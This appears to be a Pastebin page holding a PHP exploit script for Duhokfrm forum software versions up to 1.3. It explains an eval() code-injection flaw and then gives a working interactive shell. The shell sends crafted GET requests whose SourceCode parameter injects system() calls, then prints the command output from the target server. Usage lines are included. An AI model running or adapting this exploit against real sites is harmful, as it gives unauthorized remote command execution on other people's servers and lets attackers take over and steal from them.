Black-ID

Duhokfrm <= 1.3 (php code injection) RCE

Jul 15th, 2013
495
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.58 KB | None | 0 0
  1. <?php
  2. /*
  3.     -----------------------------------------------------------------
  4.     Duhokfrm  <= 1.3 Remote Command Execution
  5.     -----------------------------------------------------------------
  6.    
  7.     author...........: Black-ID
  8.     mail.............: dzcoder[at]hotmail[dot]fr
  9.     software link....: n/a
  10.    
  11.     Remote command execution via php code injection
  12.        
  13. [-] Vulnerability Description:
  14.        
  15. The vulnerable code is located in secure.php
  16.  
  17. .142 if (!URLmode) eval($CasePages->descute_mode());  
  18.  
  19. The vulnerable code is located in cp_inc\class_object.php
  20.  
  21. .468 function descute_mode()
  22. .469 {
  23. .470     extract($GLOBALS);
  24. .471 // loop the system php
  25. .472     foreach ($this->condition AS $Urls => $File)
  26. .473         {
  27. .474         // get the exists of file
  28. .475             $this->exists_file($File);
  29. .476            // system condition if
  30. .477             $SourceCode .= 'if ('.$Urls.'){require_once("'.$File.'");require("footer.php");' .
  31. .478            '$URLChange->EnableChangeURL($config["parametre"]["change_url"]);exit;}';
  32. .479         }
  33. .480     // return of the eval the code
  34. .481     return $SourceCode;
  35. .482 }
  36.        
  37. User supplied input passed through the $SourceCode parameter is not properly
  38. sanitized before being used in a eval() call  at line 142 and descute_mode function at line 468-482.
  39. This can be exploited to inject and execute execute semi-arbitrary PHP code. Successful exploitation of
  40. this vulnerability requires parameter conatain no spaces.
  41.        
  42.  
  43. */
  44. error_reporting(0);
  45. set_time_limit(0);
  46. ini_set("default_socket_timeout", 5);
  47.  
  48. function http_send($host, $packet)
  49. {
  50.        
  51.     if (($sock = fsockopen($host, 80))){
  52.     fputs($sock, $packet);
  53.     return stream_get_contents($sock);
  54.     }
  55. }
  56. print "\n+------------------------------------------------------------------+";
  57. print "\n| Duhokfrm  <= 1.3 Remote Command Execution By Black-ID            |";
  58. print "\n+------------------------------------------------------------------+\n";
  59. if ($argc < 2)
  60. {
  61.     print "\nUsage......: php $argv[0] host path/ \n";
  62.     print "\nExample....: php $argv[0] localhost duhokfrm/ \n";
  63.     die();
  64. }
  65.  
  66.     $host = $argv[1];
  67.     $path = $argv[2];
  68.    
  69. while(1)
  70. {
  71.     print "\nduhokfrm-shell# ";
  72.     if (($cmd = trim(fgets(STDIN))) == "exit") break;
  73.     $packet  = "GET /{$path}index.php?mode=f&SourceCode=error_reporting(0);print(___);system($cmd);die; HTTP/1.1\r\n";
  74.     $packet .= "Host: {$host}\r\n";
  75.     $packet .= "Connection: close\r\n\r\n";
  76.     $response = http_send($host,$packet);
  77.     preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
  78. }
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment